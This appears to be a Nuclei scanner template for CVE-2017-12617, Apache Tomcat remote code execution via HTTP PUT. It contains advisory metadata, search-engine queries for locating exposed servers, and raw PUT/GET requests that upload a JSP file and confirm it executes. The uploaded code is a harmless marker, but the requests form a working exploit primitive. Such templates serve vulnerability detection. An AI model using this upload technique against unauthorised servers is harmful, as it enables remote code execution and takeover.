id: CVE-2017-12617

info:
  name: Apache Tomcat - Remote Code Execution
  author: pussycat0x
  severity: high
  description: |
    When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
  remediation: |
    Upgrade to Apache Tomcat version 7.0.80 or later to mitigate this vulnerability.
  reference:
    - https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/
    - https://github.com/cyberheartmi9/CVE-2017-12617
    - https://www.exploit-db.com/exploits/43008
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12617
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-12617
    cwe-id: CWE-434
    epss-score: 0.99988
    epss-percentile: 0.99984
    cpe: cpe:2.3:a:apache:tomcat:7.0.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: apache
    product: tomcat
    shodan-query:
      - html:"Apache Tomcat"
      - http.title:"apache tomcat"
      - http.html:"apache tomcat"
      - cpe:"cpe:2.3:a:apache:tomcat"
    fofa-query:
      - body="apache tomcat"
      - title="apache tomcat"
    google-query: intitle:"apache tomcat"
  tags: cve2017,cve,tomcat,apache,rce,kev,intrusive,vkev,vuln

http:
  - raw:
      - |
        PUT /{{randstr}}.jsp/ HTTP/1.1
        Host: {{Hostname}}

        <% out.println("CVE-2017-12617");%>
      - |
        GET /{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "CVE-2017-12617"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a030b9d7b1541d37c03233bda684da5aedb412e6725c7bf64fcaf4d3993a89d502200891422ef0edfd8fc39769d947c1a341081a502d123d70e92318a7535f5d4860:922c64590222798bb761d5b6d8e72950